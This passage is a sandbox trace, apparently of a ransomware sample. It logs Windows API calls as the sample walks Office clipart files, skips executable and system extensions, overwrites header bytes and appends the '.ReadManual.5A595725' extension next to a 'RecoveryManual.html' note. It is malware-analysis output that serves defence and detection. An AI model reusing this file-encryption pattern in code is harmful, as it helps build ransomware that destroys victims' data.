GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8006) returned 1 [0268.752] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f46, lpName=0x0) returned 0x184 [0268.752] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.753] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.753] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.755] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.755] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f46) returned 0x2f0000 [0268.756] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.756] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38942442103) returned 1 [0268.756] CloseHandle (hObject=0x184) returned 1 [0268.756] SetSecurityInfo () returned 0x57 [0268.756] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.756] CloseHandle (hObject=0x194) returned 1 [0268.756] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0216612.WMF", cAlternateFileName="")) returned 1 [0268.756] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0216612.WMF" | out: lpString1="J0216612.WMF") returned="J0216612.WMF" [0268.756] lstrcmpiW (lpString1="J0216612.WMF", lpString2="RecoveryManual.html") returned -1 [0268.756] StrStrIW (lpFirst="J0216612.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.756] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.756] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.756] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.756] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.756] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.756] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.756] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.756] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.756] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.756] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.756] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.756] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.756] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.756] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.757] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" [0268.757] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF.ReadManual.5A595725" [0268.757] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF.ReadManual.5A595725") returned 87 [0268.757] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38942542759) returned 1 [0268.757] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf")) returned 0x20 [0268.758] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216612.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216612.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.759] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9442) returned 1 [0268.759] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x24e2, lpName=0x0) returned 0x184 [0268.759] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.760] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.760] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.761] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.762] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x24e2) returned 0x2f0000 [0268.762] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.762] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38943069467) returned 1 [0268.762] CloseHandle (hObject=0x184) returned 1 [0268.762] SetSecurityInfo () returned 0x57 [0268.762] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.762] CloseHandle (hObject=0x194) returned 1 [0268.762] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9b3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0216874.WMF", cAlternateFileName="")) returned 1 [0268.762] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0216874.WMF" | out: lpString1="J0216874.WMF") returned="J0216874.WMF" [0268.762] lstrcmpiW (lpString1="J0216874.WMF", lpString2="RecoveryManual.html") returned -1 [0268.763] StrStrIW (lpFirst="J0216874.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.763] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.763] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.763] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.763] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.763] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.763] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.763] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.763] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.763] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.763] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.763] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.763] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.763] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.763] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.763] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" [0268.763] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF.ReadManual.5A595725" [0268.763] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF.ReadManual.5A595725") returned 87 [0268.763] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38943206447) returned 1 [0268.763] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf")) returned 0x20 [0268.764] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.765] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=39738) returned 1 [0268.765] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9b3a, lpName=0x0) returned 0x184 [0268.765] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.766] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.766] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.767] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.768] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9b3a) returned 0x2f0000 [0268.769] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.769] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38943782108) returned 1 [0268.769] CloseHandle (hObject=0x184) returned 1 [0268.769] SetSecurityInfo () returned 0x57 [0268.769] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.769] CloseHandle (hObject=0x194) returned 1 [0268.769] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0217262.WMF", cAlternateFileName="")) returned 1 [0268.769] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0217262.WMF" | out: lpString1="J0217262.WMF") returned="J0217262.WMF" [0268.769] lstrcmpiW (lpString1="J0217262.WMF", lpString2="RecoveryManual.html") returned -1 [0268.769] StrStrIW (lpFirst="J0217262.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.770] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.770] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.770] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.770] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.770] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.770] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.770] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.770] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.770] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.770] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.770] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.770] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.770] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.770] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.770] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" [0268.770] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF.ReadManual.5A595725" [0268.770] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF.ReadManual.5A595725") returned 87 [0268.770] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38943882114) returned 1 [0268.770] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf")) returned 0x20 [0268.770] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.771] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5252) returned 1 [0268.771] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1484, lpName=0x0) returned 0x184 [0268.771] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.771] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.772] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.774] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.774] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1484) returned 0x2f0000 [0268.774] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.774] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38944323858) returned 1 [0268.775] CloseHandle (hObject=0x184) returned 1 [0268.775] SetSecurityInfo () returned 0x57 [0268.775] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.775] CloseHandle (hObject=0x194) returned 1 [0268.775] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd9a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0217302.WMF", cAlternateFileName="")) returned 1 [0268.775] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0217302.WMF" | out: lpString1="J0217302.WMF") returned="J0217302.WMF" [0268.775] lstrcmpiW (lpString1="J0217302.WMF", lpString2="RecoveryManual.html") returned -1 [0268.775] StrStrIW (lpFirst="J0217302.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.775] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.775] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.775] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.775] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.775] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.775] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.775] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.775] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.775] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.775] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.775] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.775] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.775] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.775] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.775] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" [0268.775] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF.ReadManual.5A595725" [0268.775] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF.ReadManual.5A595725") returned 87 [0268.775] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38944424693) returned 1 [0268.776] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf")) returned 0x20 [0268.776] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.776] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3482) returned 1 [0268.776] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd9a, lpName=0x0) returned 0x184 [0268.776] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.777] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.777] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.779] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.779] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd9a) returned 0x2f0000 [0268.779] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.779] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38944819753) returned 1 [0268.779] CloseHandle (hObject=0x184) returned 1 [0268.780] SetSecurityInfo () returned 0x57 [0268.780] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.780] CloseHandle (hObject=0x194) returned 1 [0268.780] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ca8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0217872.WMF", cAlternateFileName="")) returned 1 [0268.780] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0217872.WMF" | out: lpString1="J0217872.WMF") returned="J0217872.WMF" [0268.780] lstrcmpiW (lpString1="J0217872.WMF", lpString2="RecoveryManual.html") returned -1 [0268.780] StrStrIW (lpFirst="J0217872.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.780] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.780] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.780] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.780] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.780] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.780] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.780] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.780] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.780] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.780] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.780] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.780] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.780] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.780] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.780] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" [0268.780] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF.ReadManual.5A595725" [0268.780] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF.ReadManual.5A595725") returned 87 [0268.780] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38944917454) returned 1 [0268.780] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf")) returned 0x20 [0268.781] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.781] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7336) returned 1 [0268.781] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ca8, lpName=0x0) returned 0x184 [0268.781] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.782] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.782] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.783] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.783] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ca8) returned 0x2f0000 [0268.784] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.784] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38945245683) returned 1 [0268.784] CloseHandle (hObject=0x184) returned 1 [0268.784] SetSecurityInfo () returned 0x57 [0268.784] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.784] CloseHandle (hObject=0x194) returned 1 [0268.784] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | 